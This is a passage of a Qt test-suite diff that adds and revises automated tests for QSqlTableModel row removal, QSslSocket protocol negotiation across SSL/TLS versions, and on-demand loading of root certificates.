+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+    QVERIFY(model.removeRow(1));
+    QCOMPARE(model.rowCount(), 4);
+
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(3, 1)).toString(), QString("vohi"));
+
+    QVERIFY(model.removeRow(1));
+    QCOMPARE(model.rowCount(), 3);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+
+    // Now put two empty rows, and remove them all at once
+    QVERIFY(model.insertRows(1, 2));
+    QCOMPARE(model.rowCount(), 5);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+    QVERIFY(model.removeRows(1, 2));
+    QCOMPARE(model.rowCount(), 3);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("vohi"));
+
+
+    // Now put two empty rows, and remove one good and two empty
+    QVERIFY(model.insertRows(1, 2));
+    QCOMPARE(model.rowCount(), 5);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+    QVERIFY(model.removeRows(0, 3));
+    QVERIFY(model.submitAll()); // otherwise the remove of the real row doesn't work
+
+    QCOMPARE(model.rowCount(), 2);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi"));
+
+    // Reset back again
+    model.clear();
+    recreateTestTables();
+    model.setTable(test);
+    model.setSort(0, Qt::AscendingOrder);
+    model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise
+    QVERIFY_SQL(model, select());
+    QCOMPARE(model.rowCount(), 3);
+
+    // Now two empty and one good
+    QVERIFY(model.insertRows(1, 2));
+    QCOMPARE(model.rowCount(), 5);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(3, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+    QVERIFY(model.removeRows(1, 3));
+    QVERIFY(model.submitAll());
+    QCOMPARE(model.rowCount(), 2);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi"));
+
+    // Reset back again
+    model.clear();
+    recreateTestTables();
+    model.setTable(test);
+    model.setSort(0, Qt::AscendingOrder);
+    model.setEditStrategy(QSqlTableModel::OnManualSubmit); // you can't insert more than one row otherwise
+    QVERIFY_SQL(model, select());
+    QCOMPARE(model.rowCount(), 3);
+
+    // one empty, one good, one empty
+    QVERIFY(model.insertRows(1, 1));
+    QVERIFY(model.insertRows(3, 1));
+    QCOMPARE(model.rowCount(), 5);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(2, 1)).toString(), QString("trond"));
+    QCOMPARE(model.data(model.index(3, 1)).toString(), QString());
+    QCOMPARE(model.data(model.index(4, 1)).toString(), QString("vohi"));
+
+    QVERIFY(model.removeRows(1, 3));
+    QVERIFY(model.submitAll());
+    QCOMPARE(model.rowCount(), 2);
+    QCOMPARE(model.data(model.index(0, 1)).toString(), QString("harry"));
+    QCOMPARE(model.data(model.index(1, 1)).toString(), QString("vohi"));
 }
 
 void tst_QSqlTableModel::emptyTable()
diff --git a/tests/auto/qsslsocket/tst_qsslsocket.cpp b/tests/auto/qsslsocket/tst_qsslsocket.cpp
index 8177d29..ef5833ef 100644
--- a/tests/auto/qsslsocket/tst_qsslsocket.cpp
+++ b/tests/auto/qsslsocket/tst_qsslsocket.cpp
@@ -66,6 +66,7 @@ Q_DECLARE_METATYPE(QSslSocket::SslMode)
 typedef QList<QSslError::SslError> SslErrorList;
 Q_DECLARE_METATYPE(SslErrorList)
 Q_DECLARE_METATYPE(QSslError)
+Q_DECLARE_METATYPE(QSsl::SslProtocol)
 #endif
 
 #if defined Q_OS_HPUX && defined Q_CC_GNU
@@ -145,10 +146,11 @@ private slots:
     void peerCertificateChain();
     void privateKey();
     void protocol();
+    void protocolServerSide_data();
+    void protocolServerSide();
     void setCaCertificates();
     void setLocalCertificate();
     void setPrivateKey();
-    void setProtocol();
     void setSocketDescriptor();
     void waitForEncrypted();
     void waitForConnectedEncryptedReadyRead();
@@ -385,11 +387,14 @@ void tst_QSslSocket::constructing()
     QVERIFY(!socket.waitForConnected(10));
     QTest::ignoreMessage(QtWarningMsg, "QSslSocket::waitForDisconnected() is not allowed in UnconnectedState");
     QVERIFY(!socket.waitForDisconnected(10));
-    QCOMPARE(socket.protocol(), QSsl::SslV3);
+    QCOMPARE(socket.protocol(), QSsl::SecureProtocols);
 
     QSslConfiguration savedDefault = QSslConfiguration::defaultConfiguration();
 
     // verify that changing the default config doesn't affect this socket
+    // (on Unix, the ca certs might be empty, depending on whether we load
+    // them on demand or not, so set them explicitly)
+    socket.setCaCertificates(QSslSocket::systemCaCertificates());
     QSslSocket::setDefaultCaCertificates(QList<QSslCertificate>());
     QSslSocket::setDefaultCiphers(QList<QSslCipher>());
     QVERIFY(!socket.caCertificates().isEmpty());
@@ -518,11 +523,6 @@ void tst_QSslSocket::sslErrors_data()
         << 993
         << (SslErrorList() << QSslError::HostNameMismatch
                            << QSslError::SelfSignedCertificate);
-
-    QTest::newRow("imap.trolltech.com")
-        << "imap.trolltech.com"
-        << 993
-        << (SslErrorList() << QSslError::SelfSignedCertificateInChain);
 }
 
 void tst_QSslSocket::sslErrors()
@@ -765,15 +765,13 @@ void tst_QSslSocket::protocol()
     this->socket = socket;
     QList<QSslCertificate> certs = QSslCertificate::fromPath(SRCDIR "certs/qt-test-server-cacert.pem");
 
-//    qDebug() << "certs:" << certs.at(0).issuerInfo(QSslCertificate::CommonName);
     socket->setCaCertificates(certs);
 #ifdef QSSLSOCKET_CERTUNTRUSTED_WORKAROUND
     connect(socket, SIGNAL(sslErrors(QList<QSslError>)),
             this, SLOT(untrustedWorkaroundSlot(QList<QSslError>)));
 #endif
 
-//    qDebug() << "socket cert:" << socket->caCertificates().at(0).issuerInfo(QSslCertificate::CommonName);
-    QCOMPARE(socket->protocol(), QSsl::SslV3);
+    QCOMPARE(socket->protocol(), QSsl::SecureProtocols);
     {
         // Fluke allows SSLv3.
         socket->setProtocol(QSsl::SslV3);
@@ -837,44 +835,36 @@ void tst_QSslSocket::protocol()
         QCOMPARE(socket->protocol(), QSsl::AnyProtocol);
         socket->abort();
     }
-}
-
-void tst_QSslSocket::setCaCertificates()
-{
-    if (!QSslSocket::supportsSsl())
-        return;
-
-    QSslSocket socket;
-    QCOMPARE(socket.caCertificates(), QSslSocket::defaultCaCertificates());
-    socket.setCaCertificates(QSslCertificate::fromPath(SRCDIR "certs/qt-test-server-cacert.pem"));
-    QCOMPARE(socket.caCertificates().size(), 1);
-    socket.setCaCertificates(socket.defaultCaCertificates());
-    QCOMPARE(socket.caCertificates(), QSslSocket::defaultCaCertificates());
-}
-
-void tst_QSslSocket::setLocalCertificate()
-{
-}
-
-void tst_QSslSocket::setPrivateKey()
-{
-}
-
-void tst_QSslSocket::setProtocol()
-{
+    {
+        // Fluke allows SSLV3, so it allows NoSslV2
+        socket->setProtocol(QSsl::TlsV1SslV3);
+        QCOMPARE(socket->protocol(), QSsl::TlsV1SslV3);
+        socket->connectToHostEncrypted(QtNetworkSettings::serverName(), 443);
+        QVERIFY(socket->waitForEncrypted());
+        QCOMPARE(socket->protocol(), QSsl::TlsV1SslV3);
+        socket->abort();
+        QCOMPARE(socket->protocol(), QSsl::TlsV1SslV3);
+        socket->connectToHost(QtNetworkSettings::serverName(), 443);
+        QVERIFY2(socket->waitForConnected(), qPrintable(socket->errorString()));
+        socket->startClientEncryption();
+        QVERIFY2(socket->waitForEncrypted(), qPrintable(socket->errorString()));
+        QCOMPARE(socket->protocol(), QSsl::TlsV1SslV3);
+        socket->abort();
+    }
 }
 
 class SslServer : public QTcpServer
 {
     Q_OBJECT
 public:
-    SslServer() : socket(0) { }
+    SslServer() : socket(0), protocol(QSsl::TlsV1) { }
     QSslSocket *socket;
-
+    QSsl::SslProtocol protocol;
 protected:
     void incomingConnection(int socketDescriptor)
     {
         socket = new QSslSocket(this);
+        socket->setProtocol(protocol);
         connect(socket, SIGNAL(sslErrors(const QList<QSslError> &)), this, SLOT(ignoreErrorSlot()));
 
         QFile file(SRCDIR "certs/fluke.key");
@@ -904,6 +894,116 @@ protected slots:
     }
 };
 
+void tst_QSslSocket::protocolServerSide_data()
+{
+
+    QTest::addColumn<QSsl::SslProtocol>("serverProtocol");
+    QTest::addColumn<QSsl::SslProtocol>("clientProtocol");
+    QTest::addColumn<bool>("works");
+
+    QTest::newRow("ssl2-ssl2") << QSsl::SslV2 << QSsl::SslV2 << false; // no idea why it does not work, but we don't care about SSL 2
+    QTest::newRow("ssl3-ssl3") << QSsl::SslV3 << QSsl::SslV3 << true;
+    QTest::newRow("tls1-tls1") << QSsl::TlsV1 << QSsl::TlsV1 << true;
+    QTest::newRow("tls1ssl3-tls1ssl3") << QSsl::TlsV1SslV3 << QSsl::TlsV1SslV3 << true;
+    QTest::newRow("any-any") << QSsl::AnyProtocol << QSsl::AnyProtocol << true;
+    QTest::newRow("secure-secure") << QSsl::SecureProtocols << QSsl::SecureProtocols << true;
+
+    QTest::newRow("ssl2-ssl3") << QSsl::SslV2 << QSsl::SslV3 << false;
+    QTest::newRow("ssl2-tls1") << QSsl::SslV2 << QSsl::TlsV1 << false;
+    QTest::newRow("ssl2-tls1ssl3") << QSsl::SslV2 << QSsl::TlsV1SslV3 << false;
+    QTest::newRow("ssl2-secure") << QSsl::SslV2 << QSsl::SecureProtocols << false;
+    QTest::newRow("ssl2-any") << QSsl::SslV2 << QSsl::AnyProtocol << false; // no idea why it does not work, but we don't care about SSL 2
+
+    QTest::newRow("ssl3-ssl2") << QSsl::SslV3 << QSsl::SslV2 << false;
+    QTest::newRow("ssl3-tls1") << QSsl::SslV3 << QSsl::TlsV1 << false;
+    QTest::newRow("ssl3-tls1ssl3") << QSsl::SslV3 << QSsl::TlsV1SslV3 << true;
+    QTest::newRow("ssl3-secure") << QSsl::SslV3 << QSsl::SecureProtocols << true;
+    QTest::newRow("ssl3-any") << QSsl::SslV3 << QSsl::AnyProtocol << true;
+
+    QTest::newRow("tls1-ssl2") << QSsl::TlsV1 << QSsl::SslV2 << false;
+    QTest::newRow("tls1-ssl3") << QSsl::TlsV1 << QSsl::SslV3 << false;
+    QTest::newRow("tls1-tls1ssl3") << QSsl::TlsV1 << QSsl::TlsV1SslV3 << true;
+    QTest::newRow("tls1-secure") << QSsl::TlsV1 << QSsl::SecureProtocols << true;
+    QTest::newRow("tls1-any") << QSsl::TlsV1 << QSsl::AnyProtocol << true;
+
+    QTest::newRow("tls1ssl3-ssl2") << QSsl::TlsV1SslV3 << QSsl::SslV2 << false;
+    QTest::newRow("tls1ssl3-ssl3") << QSsl::TlsV1SslV3 << QSsl::SslV3 << true;
+    QTest::newRow("tls1ssl3-tls1") << QSsl::TlsV1SslV3 << QSsl::TlsV1 << true;
+    QTest::newRow("tls1ssl3-secure") << QSsl::TlsV1SslV3 << QSsl::SecureProtocols << true;
+    QTest::newRow("tls1ssl3-any") << QSsl::TlsV1SslV3 << QSsl::AnyProtocol << true;
+
+    QTest::newRow("secure-ssl2") << QSsl::SecureProtocols << QSsl::SslV2 << false;
+    QTest::newRow("secure-ssl3") << QSsl::SecureProtocols << QSsl::SslV3 << true;
+    QTest::newRow("secure-tls1") << QSsl::SecureProtocols << QSsl::TlsV1 << true;
+    QTest::newRow("secure-tls1ssl3") << QSsl::SecureProtocols << QSsl::TlsV1SslV3 << true;
+    QTest::newRow("secure-any") << QSsl::SecureProtocols << QSsl::AnyProtocol << true;
+
+    QTest::newRow("any-ssl2") << QSsl::AnyProtocol << QSsl::SslV2 << false; // no idea why it does not work, but we don't care about SSL 2
+    QTest::newRow("any-ssl3") << QSsl::AnyProtocol << QSsl::SslV3 << true;
+    QTest::newRow("any-tls1") << QSsl::AnyProtocol << QSsl::TlsV1 << true;
+    QTest::newRow("any-tls1ssl3") << QSsl::AnyProtocol << QSsl::TlsV1SslV3 << true;
+    QTest::newRow("any-secure") << QSsl::AnyProtocol << QSsl::SecureProtocols << true;
+}
+
+void tst_QSslSocket::protocolServerSide()
+{
+    if (!QSslSocket::supportsSsl()) {
+        qWarning("SSL not supported, skipping test");
+        return;
+    }
+
+    QFETCH_GLOBAL(bool, setProxy);
+    if (setProxy)
+        return;
+
+    QFETCH(QSsl::SslProtocol, serverProtocol);
+    SslServer server;
+    server.protocol = serverProtocol;
+    QVERIFY(server.listen());
+
+    QEventLoop loop;
+    QTimer::singleShot(5000, &loop, SLOT(quit()));
+
+    QSslSocketPtr client = new QSslSocket;
+    socket = client;
+    QFETCH(QSsl::SslProtocol, clientProtocol);
+    socket->setProtocol(clientProtocol);
+    // upon SSL wrong version error, error will be triggered, not sslErrors
+    connect(socket, SIGNAL(error(QAbstractSocket::SocketError)), &loop, SLOT(quit()));
+    connect(socket, SIGNAL(sslErrors(const QList<QSslError> &)), this, SLOT(ignoreErrorSlot()));
+    connect(client, SIGNAL(encrypted()), &loop, SLOT(quit()));
+
+    client->connectToHostEncrypted(QHostAddress(QHostAddress::LocalHost).toString(), server.serverPort());
+
+    loop.exec();
+
+    QFETCH(bool, works);
+    QAbstractSocket::SocketState expectedState = (works) ? QAbstractSocket::ConnectedState : QAbstractSocket::UnconnectedState;
+    QCOMPARE(client->state(), expectedState);
+    QCOMPARE(client->isEncrypted(), works);
+}
+
+void tst_QSslSocket::setCaCertificates()
+{
+    if (!QSslSocket::supportsSsl())
+        return;
+
+    QSslSocket socket;
+    QCOMPARE(socket.caCertificates(), QSslSocket::defaultCaCertificates());
+    socket.setCaCertificates(QSslCertificate::fromPath(SRCDIR "certs/qt-test-server-cacert.pem"));
+    QCOMPARE(socket.caCertificates().size(), 1);
+    socket.setCaCertificates(socket.defaultCaCertificates());
+    QCOMPARE(socket.caCertificates(), QSslSocket::defaultCaCertificates());
+}
+
+void tst_QSslSocket::setLocalCertificate()
+{
+}
+
+void tst_QSslSocket::setPrivateKey()
+{
+}
+
 void tst_QSslSocket::setSocketDescriptor()
 {
     if (!QSslSocket::supportsSsl())
diff --git a/tests/auto/qsslsocket_onDemandCertificates_member/qsslsocket_onDemandCertificates_member.pro b/tests/auto/qsslsocket_onDemandCertificates_member/qsslsocket_onDemandCertificates_member.pro
new file mode 100644
index 0000000..ea62865
--- /dev/null
+++ b/tests/auto/qsslsocket_onDemandCertificates_member/qsslsocket_onDemandCertificates_member.pro
@@ -0,0 +1,36 @@
+load(qttest_p4)
+
+SOURCES += tst_qsslsocket_onDemandCertificates_member.cpp
+!wince*:win32:LIBS += -lws2_32
+QT += network
+QT -= gui
+
+TARGET = tst_qsslsocket_onDemandCertificates_member
+
+win32 {
+  CONFIG(debug, debug|release) {
+    DESTDIR = debug
+} else {
+    DESTDIR = release
+  }
+}
+
+wince* {
+    DEFINES += SRCDIR=\\\"./\\\"
+
+    certFiles.files = certs ssl.tar.gz
+    certFiles.path    = .
+    DEPLOYMENT += certFiles
+} else:symbian {
+    TARGET.EPOCHEAPSIZE="0x100 0x1000000"
+    TARGET.CAPABILITY=NetworkServices
+
+    certFiles.files = certs ssl.tar.gz
+    certFiles.path    = .
+    DEPLOYMENT += certFiles
+    INCLUDEPATH *= $$MW_LAYER_SYSTEMINCLUDE  # Needed for e32svr.h in S^3 envs
+} else {
+    DEFINES += SRCDIR=\\\"$$PWD/\\\"
+}
+
+requires(contains(QT_CONFIG,private_tests))
diff --git a/tests/auto/qsslsocket_onDemandCertificates_member/tst_qsslsocket_onDemandCertificates_member.cpp b/tests/auto/qsslsocket_onDemandCertificates_member/tst_qsslsocket_onDemandCertificates_member.cpp
new file mode 100644
index 0000000..abdd550
--- /dev/null
+++ b/tests/auto/qsslsocket_onDemandCertificates_member/tst_qsslsocket_onDemandCertificates_member.cpp
@@ -0,0 +1,225 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+#include <QtNetwork>
+#include <QtTest/QtTest>
+
+#include <QNetworkProxy>
+#include <QAuthenticator>
+
+#include "private/qhostinfo_p.h"
+
+#include "../network-settings.h"
+
+#ifdef Q_OS_SYMBIAN
+#define SRCDIR ""
+#endif
+
+#ifndef QT_NO_OPENSSL
+class QSslSocketPtr: public QSharedPointer<QSslSocket>
+{
+public:
+    inline QSslSocketPtr(QSslSocket *ptr = 0)
+        : QSharedPointer<QSslSocket>(ptr)
+    { }
+
+    inline operator QSslSocket *() const { return data(); }
+};
+#endif
+
+class tst_QSslSocket_onDemandCertificates_member : public QObject
+{
+    Q_OBJECT
+
+    int proxyAuthCalled;
+
+public:
+    tst_QSslSocket_onDemandCertificates_member();
+    virtual ~tst_QSslSocket_onDemandCertificates_member();
+
+#ifndef QT_NO_OPENSSL
+    QSslSocketPtr newSocket();
+#endif
+
+public slots:
+    void initTestCase_data();
+    void init();
+    void cleanup();
+    void proxyAuthenticationRequired(const QNetworkProxy &, QAuthenticator *auth);
+
+#ifndef QT_NO_OPENSSL
+private slots:
+    void onDemandRootCertLoadingMemberMethods();
+
+private:
+    QSslSocket *socket;
+#endif // QT_NO_OPENSSL
+};
+
+tst_QSslSocket_onDemandCertificates_member::tst_QSslSocket_onDemandCertificates_member()
+{
+    Q_SET_DEFAULT_IAP
+}
+
+tst_QSslSocket_onDemandCertificates_member::~tst_QSslSocket_onDemandCertificates_member()
+{
+}
+
+enum ProxyTests {
+    NoProxy = 0x00,
+    Socks5Proxy = 0x01,
+    HttpProxy = 0x02,
+    TypeMask = 0x0f,
+
+    NoAuth = 0x00,
+    AuthBasic = 0x10,
+    AuthNtlm = 0x20,
+    AuthMask = 0xf0
+};
+
+void tst_QSslSocket_onDemandCertificates_member::initTestCase_data()
+{
+    QTest::addColumn<bool>("setProxy");
+    QTest::addColumn<int>("proxyType");
+
+    QTest::newRow("WithoutProxy") << false << 0;
+    QTest::newRow("WithSocks5Proxy") << true << int(Socks5Proxy);
+    QTest::newRow("WithSocks5ProxyAuth") << true << int(Socks5Proxy | AuthBasic);
+
+    QTest::newRow("WithHttpProxy") << true << int(HttpProxy);
+    QTest::newRow("WithHttpProxyBasicAuth") << true << int(HttpProxy | AuthBasic);
+    // uncomment the line below when NTLM works
+//    QTest::newRow("WithHttpProxyNtlmAuth") << true << int(HttpProxy | AuthNtlm);
+}
+
+void tst_QSslSocket_onDemandCertificates_member::init()
+{
+    QFETCH_GLOBAL(bool, setProxy);
+    if (setProxy) {
+        QFETCH_GLOBAL(int, proxyType);
+        QString testServer = QHostInfo::fromName(QtNetworkSettings::serverName()).addresses().first().toString();
+        QNetworkProxy proxy;
+
+        switch (proxyType) {
+        case Socks5Proxy:
+            proxy = QNetworkProxy(QNetworkProxy::Socks5Proxy, testServer, 1080);
+            break;
+
+        case Socks5Proxy | AuthBasic:
+            proxy = QNetworkProxy(QNetworkProxy::Socks5Proxy, testServer, 1081);
+            break;
+
+        case HttpProxy | NoAuth:
+            proxy = QNetworkProxy(QNetworkProxy::HttpProxy, testServer, 3128);
+            break;
+
+        case HttpProxy | AuthBasic:
+            proxy = QNetworkProxy(QNetworkProxy::HttpProxy, testServer, 3129);
+            break;
+
+        case HttpProxy | AuthNtlm:
+            proxy = QNetworkProxy(QNetworkProxy::HttpProxy, testServer, 3130);
+            break;
+        }
+        QNetworkProxy::setApplicationProxy(proxy);
+    }
+
+    qt_qhostinfo_clear_cache();
+}
+
+void tst_QSslSocket_onDemandCertificates_member::cleanup()
+{
+    QNetworkProxy::setApplicationProxy(QNetworkProxy::DefaultProxy);
+}
+
+#ifndef QT_NO_OPENSSL
+QSslSocketPtr tst_QSslSocket_onDemandCertificates_member::newSocket()
+{
+    QSslSocket *socket = new QSslSocket;
+
+    proxyAuthCalled = 0;
+    connect(socket, SIGNAL(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)),
+            SLOT(proxyAuthenticationRequired(QNetworkProxy,QAuthenticator*)),
+            Qt::DirectConnection);
+
+    return QSslSocketPtr(socket);
+}
+#endif
+
+void tst_QSslSocket_onDemandCertificates_member::proxyAuthenticationRequired(const QNetworkProxy &, QAuthenticator *auth)
+{
+    ++proxyAuthCalled;
+    auth->setUser("qsockstest");
+    auth->setPassword("password");
+}
+
+#ifndef QT_NO_OPENSSL
+
+void tst_QSslSocket_onDemandCertificates_member::onDemandRootCertLoadingMemberMethods()
+{
+    QString host("qt.nokia.com");
+
+    // not using any root certs -> should not work
+    QSslSocketPtr socket2 = newSocket();
+    this->socket = socket2;
+    socket2->setCaCertificates(QList<QSslCertificate>());
+    socket2->connectToHostEncrypted(host, 443);
+    QVERIFY(!socket2->waitForEncrypted());
+
+    // default: using on demand loading -> should work
+    QSslSocketPtr socket = newSocket();
+    this->socket = socket;
+    socket->connectToHostEncrypted(host, 443);
+    QVERIFY2(socket->waitForEncrypted(), qPrintable(socket->errorString()));
+
+    // not using any root certs again -> should not work
+    QSslSocketPtr socket3 = newSocket();
+    this->socket = socket3;
+    socket3->setCaCertificates(QList<QSslCertificate>());
+    socket3->connectToHostEncrypted(host, 443);
+    QVERIFY(!socket3->waitForEncrypted());
+}
+
+#endif // QT_NO_OPENSSL
+
+QTEST_MAIN(tst_QSslSocket_onDemandCertificates_member)
+#include "tst_qsslsocket_onDemandCertificates_member.moc"
diff --git a/tests/auto/qsslsocket_onDemandCertificates_static/qsslsocket_onDemandCertificates_static.pro b/tests/auto/qsslsocket_onDemandCertificates_static/qsslsocket_onDemandCertificates_static.pro
new file mode 100644
index 0000000..13990cb
--- /dev/null
+++ b/tests/auto/qsslsocket_onDemandCertificates_static/qsslsocket_onDemandCertificates_static.pro
@@ -0,0 +1,36 @@
+load(qttest_p4)
+
+SOURCES += tst_qsslsocket_onDemandCertificates_static.cpp
+!wince*:win32:LIBS += -lws2_32
+QT += network
+QT -= gui
+
+TARGET = tst_qsslsocket_onDemandCertificates_static
+
+win32 {
+  CONFIG(debug, debug|release) {
+    DESTDIR = debug
+} else {
+    DESTDIR = release
+  }
+}
+
+wince* {
+    DEFINES += SRCDIR=\\\"./\\\"
+
+    certFiles.files = certs ssl.tar.gz
+    certFiles.path    = .
+    DEPLOYMENT += certFiles
+} else:symbian {
+    TARGET.EPOCHEAPSIZE="0x100 0x1000000"
+    TARGET.CAPABILITY=NetworkServices
+
+    certFiles.files = certs ssl.tar.gz
+    certFiles.path    = .
+    DEPLOYMENT += certFiles
+    INCLUDEPATH *= $$MW_LAYER_SYSTEMINCLUDE  # Needed for e32svr.h in S^3 envs
+} else {
+    DEFINES += SRCDIR=\\\"$$PWD/\\\"
+}
+
+requires(contains(QT_CONFIG,private_tests))
diff --git a/tests/auto/qsslsocket_onDemandCertificates_static/tst_qsslsocket_onDemandCertificates_static.cpp b/tests/auto/qsslsocket_onDemandCertificates_static/tst_qsslsocket_onDemandCertificates_static.cpp
new file mode 100644
index 0000000..5003b5c
--- /dev/null
+++ b/tests/auto/qsslsocket_onDemandCertificates_static/tst_qsslsocket_onDemandCertificates_static.cpp
@@ -0,0 +1,226 @@
+/****************************************************************************
+**
+** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+
+#include <QtNetwork>
+#include <QtTest/QtTest>
+
+#include <QNetworkProxy>
+#include <QAuthenticator>
+
+#include "private/qhostinfo_p.h"
+
+#include "../network-settings.h"
+
+#ifdef Q_OS_SYMBIAN
+#define SRCDIR ""
+#endif
+
+#ifndef QT_NO_OPENSSL
+class QSslSocketPtr: public QSharedPointer<QSslSocket>
+{
+public:
+    inline QSslSocketPtr(QSslSocket *ptr = 0)
+        : QSharedPointer<QSslSocket>(ptr)
+    { }
+
+    inline operator QSslSocket *() const { return data(); }
+};
+#endif
+
+class tst_QSslSocket_onDemandCertificates_static : public QObject
+{
+    Q_OBJECT
+
+    int proxyAuthCalled;
+
+public:
+    tst_QSslSocket_onDemandCertificates_static();
+    virtual ~tst_QSslSocket_onDemandCertificates_static();
+
+#ifndef QT_NO_OPENSSL
+    QSslSocketPtr newSocket();
+#endif
+
+public slots:
+    void initTestCase_data();
+    void init();
+    void cleanup();
+    void proxyAuthenticationRequired(const QNetworkProxy &, QAuthenticator *auth);
+
+#ifndef QT_NO_OPENSSL
+private slots:
+    void onDemandRootCertLoadingStaticMethods();
+
+private:
+    QSslSocket *socket;
+#endif // QT_NO_OPENSSL
+};
+
+tst_QSslSocket_onDemandCertificates_static::tst_QSslSocket_onDemandCertificates_static()
+{
+    Q_SET_DEFAULT_IAP
+}
+
+tst_QSslSocket_onDemandCertificates_static::~tst_QSslSocket_onDemandCertificates_static()
+{
+}
+
+enum ProxyTests {
+    NoProxy = 0x00,
+    Socks5Proxy = 0x01,
+    HttpProxy = 0x02,
+    TypeMask = 0x0f,
+
+    NoAuth = 0x00,
+    AuthBasic = 0x10,
+    AuthNtlm = 0x20,
+    AuthMask = 0xf0
+};
+
+void tst_QSslSocket_onDemandCertificates_static::initTestCase_data()
+{
+    QTest::addColumn<bool>("setProxy");
+    QTest::addColumn<int>("proxyType");
+
+    QTest::newRow("WithoutProxy") << false << 0;
+    QTest::newRow("WithSocks5Proxy") << true << int(Socks5Proxy);
+    QTest::newRow("WithSocks5ProxyAuth") << true << int(Socks5Proxy | AuthBasic);
+
+    QTest::newRow("WithHttpProxy") << true << int(HttpProxy);
+    QTest::newRow("WithHttpProxyBasicAuth") << true << int(HttpProxy | AuthBasic);
+    // uncomment the line below when NTLM works
+//    QTest::newRow("WithHttpProxyNtlmAuth") << true << int(HttpProxy | AuthNtlm);
+}
+
+void tst_QSslSocket_onDemandCertificates_static::init()
+{
+    QFETCH_GLOBAL(bool, setProxy);
+    if (setProxy) {
+        QFETCH_GLOBAL(int, proxyType);
+        QString testServer = QHostInfo::fromName(QtNetworkSettings::serverName()).addresses().first().toString();
+        QNetworkProxy proxy;
+
+        switch (proxyType) {
+        case Socks5Proxy:
+            proxy = QNetworkProxy(QNetworkProxy::Socks5Proxy, testServer, 1080);
+            break;
+
+        case Socks5Proxy | AuthBasic:
+            proxy = QNetworkProxy(QNetworkProxy::Socks5Proxy, testServer, 1081);
+            break;
+
+        case HttpProxy | NoAuth:
